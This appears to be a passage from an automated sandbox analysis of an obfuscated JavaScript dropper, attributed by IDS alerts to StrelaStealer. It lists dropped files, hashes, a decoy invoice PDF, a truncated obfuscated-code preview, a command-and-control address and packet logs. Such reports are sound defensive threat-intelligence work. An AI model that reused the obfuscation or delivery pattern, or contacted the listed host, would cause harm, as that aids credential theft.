Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9db31b25-4d67-45ae-bf00-4d5a45a78708.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\cb2c2cd8-d047-4802-94e8-f0d6dfdd5adf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15932), with CRLF line terminators
Entropy (8bit):	4.892171623086879
TrID:
File name:	187637497286212310.js
File size:	19'222 bytes
MD5:	c0f7e9587e6d7b20c249af3e157df628
SHA1:	135b6b39dd76aed0d3f6eb5eb256e40cdd020587
SHA256:	8bad0ea1e110662ddbf28ef1679f80d143b2fd7824a8453f999154e7122a4344
SHA512:	3d41533da0f71bac8bd442ea88a95b75f7b2ab3dc7b7aa294c0e1a94d3fffbf8f244b7b6509d111799e50c110c3a931f8fd59da3f7efe3dc52e14f2d0400178d
SSDEEP:	384:+pmTLMnRu61m/FtJFg3/3AnTiuehux0KLgJwec2Q4cTUnN+ZE2d7Z3cGeZV4FtH:+pmTLMnRu61m/FtJFg3/3AnTiuehux0u
TLSH:	1A8275C9FD11822719DDA5F4B0F100E772BA03874A68964B6C288DC867D59FC95FD3B2
File Content Preview:	function wfbfbxqg(){aovudorn=[1031,3079,5127,4103,2055,3072];var irdep=this[kiwogl+ojoknf+ejwkqe+zhvne+pbvjkryl+ykidpoeb+hmqqwc+hfcem](this[pjhra+zirxpk+kvudboll+ejwkqe+ckygdov+kiwogl+hfcem][irxpciie+ejwkqe+pbvjkryl+ojoknf+hfcem+pbvjkryl+ozpjz+ybquwjqo+gd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:13:07.907694+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T07:13:07.907694+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T07:13:10.069794+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:13:07.107530117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.112751007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.112839937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.115858078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.120651960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.907536983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.907555103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.907671928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.907684088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.907694101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.907764912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.907843113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908016920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908030033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908041000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908088923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.908359051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908371925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.908397913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.908425093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.913256884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.913377047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.913463116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:07.960192919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.960212946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:07.960335016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.028284073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.028302908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.028367996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.028911114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.028961897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.028973103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029004097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.029098034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029109955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029138088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.029380083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029408932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029419899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029421091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.029454947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.029566050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029578924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.029628992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.030302048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.030339956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.030350924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.030388117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.030494928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.030505896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.030539989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.031189919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.031234026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.031235933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.031246901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.031280041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.031430960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.031441927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.031481981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.089864969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.131072044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.131093025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.131104946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.131194115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.131194115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.152602911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152667046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152681112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152728081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.152792931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152805090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152817011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.152834892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.152868032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.152991056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153099060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153110027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153134108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.153291941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153302908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153314114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153326035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153333902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.153352976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.153637886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153680086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.153953075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153965950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.153978109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154004097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.154135942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154146910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154158115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154169083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154177904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.154225111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.154772043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154818058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.154830933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154844046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.154882908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.155023098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155035019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155045986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155057907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155071974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.155091047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.155766010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155781984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155793905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155833960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.155894995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155906916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155917883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155931950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.155934095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.155962944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.156538010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.156582117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.156615019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.156627893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.156665087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.156820059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.156832933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.156871080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.176603079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.176639080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.176698923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.217664003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.217684984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.217763901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.252568960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252619028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252630949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252650976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252662897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252685070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.252732038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.252779007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.252820015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272047997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272089005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272104025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272169113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272175074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272217035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272219896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272229910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272262096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272368908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272380114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272413015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272481918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272494078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272551060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272670031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272681952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272718906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272799969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272811890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272847891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.272939920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272952080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.272988081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273154974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273173094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273180962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273183107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273189068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273220062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273485899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273508072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.273528099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.273674011 CET	80	49730	193.143.1.205	192.168.2.4
